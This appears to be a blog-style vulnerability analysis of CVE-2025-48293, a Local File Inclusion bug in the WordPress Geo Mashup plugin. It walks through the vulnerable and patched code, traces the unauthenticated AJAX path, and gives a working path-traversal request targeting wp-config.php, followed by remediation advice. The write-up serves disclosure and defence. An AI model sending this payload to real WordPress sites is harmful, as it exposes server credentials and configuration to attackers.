Contents

CVE-2025-48293 Analysis & POC

The Geo Mashup plugin version ≤ 1.13.16 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require, thereby injecting or reading local files on the server (for example configuration files containing credentials), leading to leakage of sensitive information and, in some configurations, potential code execution.

  • CVE ID: CVE-2025-48293
  • Vulnerability Type: Local File Inclusion
  • Affected Versions: <= 1.13.16
  • Patched Versions: 1.13.17
  • CVSS severity: High (9.8)
  • Required Privilege: Unauthenticated
  • Product: WordPress Geo Mashup Plugin
  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - Geo Mashup: 1.13.16 (vulnerable) and 1.13.17 (patched).
  • Diff tool - Meld or any diff/comparison tool to inspect differences between the two versions.

Vulnerable code:

public static function generate_object_html( ) {
    $template_base = ( isset( $_GET['template'] ) ) ? $_GET['template'] : '';
    // other logc
    load_template( GeoMashup::locate_template( $template_base ) );
}

$template_base is taken directly from $_GET['template'] without any checks/sanitization.

The value is passed to GeoMashup::locate_template() and then used with load_template() — an attacker can control the file path to be included.

Patch:

public static function generate_object_html( ) {
    $template_base = ( isset( $_GET['template'] ) ) ? sanitize_key($_GET['template']) : '';
    // other logic
    load_template( GeoMashup::locate_template( $template_base ) );
}

sanitize_key() is applied to template => removes unsafe characters, prevents ../, \, and special characters, reducing the risk of path traversal and LFI from the template parameter.

We analyze the logic in GeoMashup::locate_template() to see how it affects $template_base

public static function locate_template( $template_base ) {
    $template = locate_template( array("geo-mashup-$template_base.php") );
 
    if ( empty( $template ) || !is_readable( $template ) ) {
        $template = path_join( GEO_MASHUP_DIR_PATH, "default-templates/$template_base.php" );
    }
    return $template;
}

$template is reassigned by calling locate_template() (from template.php) with the argument geo-mashup-$template_base.php

function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
	global $wp_stylesheet_path, $wp_template_path;

	if ( ! isset( $wp_stylesheet_path ) || ! isset( $wp_template_path ) ) {
		wp_set_template_globals();
	}

	$is_child_theme = is_child_theme();

	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( ! $template_name ) {
			continue;
		}
		if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
			$located = $wp_stylesheet_path . '/' . $template_name;
			break;
		} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
			$located = $wp_template_path . '/' . $template_name;
			break;
		} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
			$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
			break;
		}
	}

	if ( $load && '' !== $located ) {
		load_template( $located, $load_once, $args );
	}

	return $located;
}

The logic checks for the existence of files when concatenated with $template_name; if none exist it returns an empty string ''.

File existence related logic

File existence related logic

When an attacker sends $_GET['template'] containing ../ the file will by default not exist, and locate_template() returns ''.

Returning to GeoMashup::locate_template(), when $template is empty and not readable (!is_readable($template)) it is reassigned and returned.

const string GEO_MASHUP_DIR_PATH = "/srv/www/wordpress/wp-content/plugins/geo-mashup"

GEO_MASHUP_DIR_PATH.default-templates/$template_base.php

👉 GeoMashup::locate_template() does not modify $template_base which we control, so we proceed to find a way to trigger this behavior.

if ( ( isset( $_GET['output'] ) and 'json' == $_GET['output'] ) or empty( $_GET['object_ids'] ) ) {
	GeoMashupQuery::generate_location_json( );
} else {
	GeoMashupQuery::generate_object_html( );
}

generate_object_html() is only called when $_GET['output'] is not provided and $_GET['object_ids'] is not empty.

geo-query.php containing the above logic is invoked in geo-mashup.php

geo-query.php is called within geo-mashup.php

geo-query.php is called within geo-mashup.php

The geo_query function is the callback for an Unauthenticated action hook:

add_action( 'wp_ajax_nopriv_geo_mashup_query', array( __CLASS__, 'geo_query') );

When accessing the endpoint /wp-admin/admin-ajax.php with action=geo_mashup_query the geo_query callback is executed.

  1. Add code to wp-config.php for testing
echo "Payload";
  1. Send a GET request with an LFI payload
GET /wp-admin/admin-ajax.php?action=geo_mashup_query&object_ids=2&template=../../../../wp-config HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
X-PwnFox-Color: green
Priority: u=0, i

Result:

Successful LFI result

Successful LFI result

CVE-2025-48293 is an LFI caused by using the template input without validation when concatenating into a fallback path, allowing path traversal (..) and inclusion of unintended files. It was fixed in v1.13.17 by applying sanitize_key().

  • Do not use user input directly to build paths for includes.
  • Use a whitelist or sanitize_key() + realpath() checks.

File Inclusion/Path traversal — Hacktrick

WordPress Geo Mashup Plugin <= 1.13.16 is vulnerable to Local File Inclusion

Related Content